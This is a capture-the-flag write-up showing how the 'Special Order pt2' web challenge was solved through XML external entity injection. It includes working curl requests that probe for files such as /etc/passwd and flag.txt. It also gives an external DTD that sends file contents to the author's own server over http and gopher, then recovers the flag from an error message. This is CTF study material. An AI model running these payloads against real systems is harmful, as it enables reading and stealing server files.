Special Order pt2

Given

we got hacked last time, our platform is stronger and better now.

I think I patched all the vulnerabilities

EU instance (link)

US instance (link)

author: pop_eax

Analysis

The name seems to hint that this is an continuation of a previous challenge. A quick google for Special Order CTF gives us https://github.com/pop-eax/SpecialOrder, and more importantly https://pop-eax.github.io/blog/posts/ctf-writeup/web/2020/08/01/h-cktivitycon-ctf-specialorder/. We see that the challenge was JSON endpoint also supporting XML and performing an XXE using that. Let's start by looking at that endpoint.

I signed up to the site with user/pw tea/tea and signed in to get the session cookie to be able to do the request.

Lets try out the previous vulnerable POST /customize endpoint.

Control

> curl http://207.180.200.166:5000/customize
Content-Type: application/json
Cookie: session=sessionCookie

{"color" : "red", "size": "40px"}

> DONE :D

Moving to XML

> curl http://207.180.200.166:5000/customize
Content-Type: application/xml
Cookie: session=sessionCookie
<?xml version="1.0" encoding="UTF-8"?>

<root>
    <color>red</color>
    <size>40px</size>
</root>

 > Sorry but this functionality has been disabeled due to recent intrustions

Hm, looks like it is blocked. Lets mess up the code to see if it is parsed.

> curl http://207.180.200.166:5000/customize
Content-Type: application/xml
Cookie: session=sessionCookie

<?xml version="1.0" encoding="UTF-8"?>
<root>
    <colorred</color>
    <size>40px</size>
</root>

 > error parsing attribute name, line 3, column 11 (, line 3)

Oh, it is! So it might still be vulnerable.

Let's see if we can add some entities and try to execute them. Let's try to fetch a non existing file, since a valid request would result in the "Sorry" message.

> curl http://207.180.200.166:5000/customize
Content-Type: application/xml
Cookie: session=sessionCookie

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [<!ENTITY xxe SYSTEM "file:///non-existing">]>
<root>
    <color>&xxe;</color>
    <size>40px</size>
</root>

 > Failure to process entity xxe, line 4, column 14 (, line 4)

OK! A failure! That means it tried to parse the xxe. Lets try to get a file that should exist to verify that file:// should work.

> curl http://207.180.200.166:5000/customize
Content-Type: application/xml
Cookie: session=sessionCookie

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<root>
    <color>&xxe;</color>
    <size>40px</size>
</root>

 > Sorry but this functionality has been disabeled due to recent intrustions

Ok, so file exists -> Sorry and file doesnt exist -> Failure

Let's try to look for the flag file location.

> curl http://207.180.200.166:5000/customize
Content-Type: application/xml
Cookie: session=sessionCookie

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [<!ENTITY xxe SYSTEM "file:///flag.txt">]>
<root>
    <color>&xxe;</color>
    <size>40px</size>
</root>

 > Sorry but this functionality has been disabeled due to recent intrustions

Oh, that was lucky! Flag is located at /flag.txt, now we just need to find a way to read it. Seeing the error logs would suggest that an error based approach would work.

Let's see if it can load external DTD's

> curl http://207.180.200.166:5000/customize
Content-Type: application/xml
Cookie: session=sessionCookie

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [<!ENTITY xxe SYSTEM "http://myserver:8995/test">]>
<root>
    <color>&xxe;</color>
    <size>40px</size>
</root>

On the server side:

yugge@myserver:~$ nc -l 8995
 GET /test HTTP/1.0
 Host: myserver:8995
 Accept-Encoding: gzip

It seems to work! Let's construct a small dtd to create a web request with the content of the file.

Exploit

> curl http://207.180.200.166:5000/customize
Content-Type: application/xml
Cookie: session=sessionCookie

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY % file SYSTEM "file:///flag.txt">
<!ENTITY % xxe SYSTEM "http://myserver/test.dtd">
%xxe;
]>
<root>
    <color>&send;</color>
    <size>40px</size>
</root>

On the server side:

<?xml version="1.0" encoding="UTF-8"?>
<!ENTITY % all "<!ENTITY send SYSTEM 'http://myserver/?%file;'>"> %all;

Output:

> 504 Gateway Time-out

Huh, so we got a timeout when parsing the file, could there be some blocked words in the dtd? Let's try to replace http with another protocol.

> curl http://207.180.200.166:5000/customize
Content-Type: application/xml
Cookie: session=sessionCookie

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY % file SYSTEM "file:///flag.txt">
<!ENTITY % xxe SYSTEM "http://myserver/test.dtd">
%xxe;
]>
<root>
    <color>&send;</color>
    <size>40px</size>
</root>

On the server side:

<?xml version="1.0" encoding="UTF-8"?>
<!ENTITY % all "<!ENTITY send SYSTEM 'gopher://myserver/?%file;'>"> %all;

Output:

> Invalid URI: gopher://myserver/?flag{i7_1s_n0t_s0_bl1nd3721} , line 2, column 87 (test.dtd, line 2)

Oh, that worked better than expected. It didn't need to make the call, me messing up the URI for the gopher call made it error out the file content :D.

Flag found! flag{i7_1s_n0t_s0_bl1nd3721}